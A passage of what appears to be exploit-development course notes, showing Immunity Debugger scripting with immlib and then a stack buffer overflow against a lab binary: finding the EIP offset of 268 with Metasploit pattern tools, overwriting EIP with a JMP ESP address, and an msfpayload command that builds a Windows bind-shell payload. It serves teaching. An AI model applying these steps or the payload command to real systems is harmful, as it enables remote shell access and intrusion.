5580In order to leverage the rich set of APIs that Immunity provides, import the immlib which ships with the Immunity framework. At this instance write a simple script that simply prints hello in the main method. To run the script write the name of the script preceded by the exclamation mark e.g !spse-demo. You can also write to the Log window by:
5581imm.log(“Anything to logâ€)
5582
5583Now the problem with the debugger is that it prints all the messages at the end of the script execution, which is quite hectic if you are writing a long script which requires incremental updates. To serve the purpose use imm.updateLog() method so that the Log is updated instantly.
5584
5585Our command will also be visible in the List of PyCommands which are available in the Immunity.
5586
5587
5588To run a process we need to open the process in Immunity Debugger and run it as shown earlier, what if we want to run the same process programmatically.
5589
5590Create a new python script naming spse-pro.py similarly as in the previous example. Open the process by imm.openProcess(“path to the binaryâ€) e.g my binary was C:\Server-Strcpy.exe
5591
5592
5593Similarly, you can attach the Immunity Debugger to an already running process by the imm.Attach(pid) method.
5594
5595Now inside a running process we need to get a list of modules, and for each of these modules we need to get a set of properties like Name, Base Address, Entry Point, and Size of that process. Useful methods are getAllModules and its child methods which are elaborated in the Immunity's online documentation.
5596
5597
5598
5599
5600Now we will use the Immunity Debugger to actually exploit the buffer overflow.
5601
5602As we know the stack grows from high-memory to low-memory. When we send a large buffer to our program/binary the return address is over-written, the EIP ends up with a garbage value and the program crashed. The idea is to specially craft the buffer in a way to over-write the return address with a chosen value, which is the payload we want to execute on that machine.
5603
5604To start, we'll revisit our old python script and a metasploit utility patter_creat.rb to create a random pattern of 500 characters.
5605
5606
5607
5608Place this pattern in the python attack script, run the server in the Immunity, run the attack script. See that the binary has crashed and the EIP is populated with the value 6A413969. Now we need to find at which offset this value is in our pattern, pattern_offset.rb will server the purpose.
5609
5610
5611
5612From this we know the value from offset 268 precisely corrupts the EIP. Meaning we really don't care about the first 268 bytes of the buffer, what we need to focus is the return address.
5613
5614Now next to EIP there is ESP register, we will populate the ESP with our payload and place a jump ESP instruction in the EIP register. The OPCode for the JUMP ESP instruction is 71AB7BFB, which we will append to our buffer in reverse order, as the bytes are stored in reverse order in stack. For payload we use metsploit to generate our payload and encode it for x86 architecture. Following command will suffice
5615
5616---------------------------Type This-----------------------------------
5617
5618msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b “\x90†-t c
5619-----------------------------------------------------------------------
5620
5621This will generate a payload, append it to the buffer and run the script again.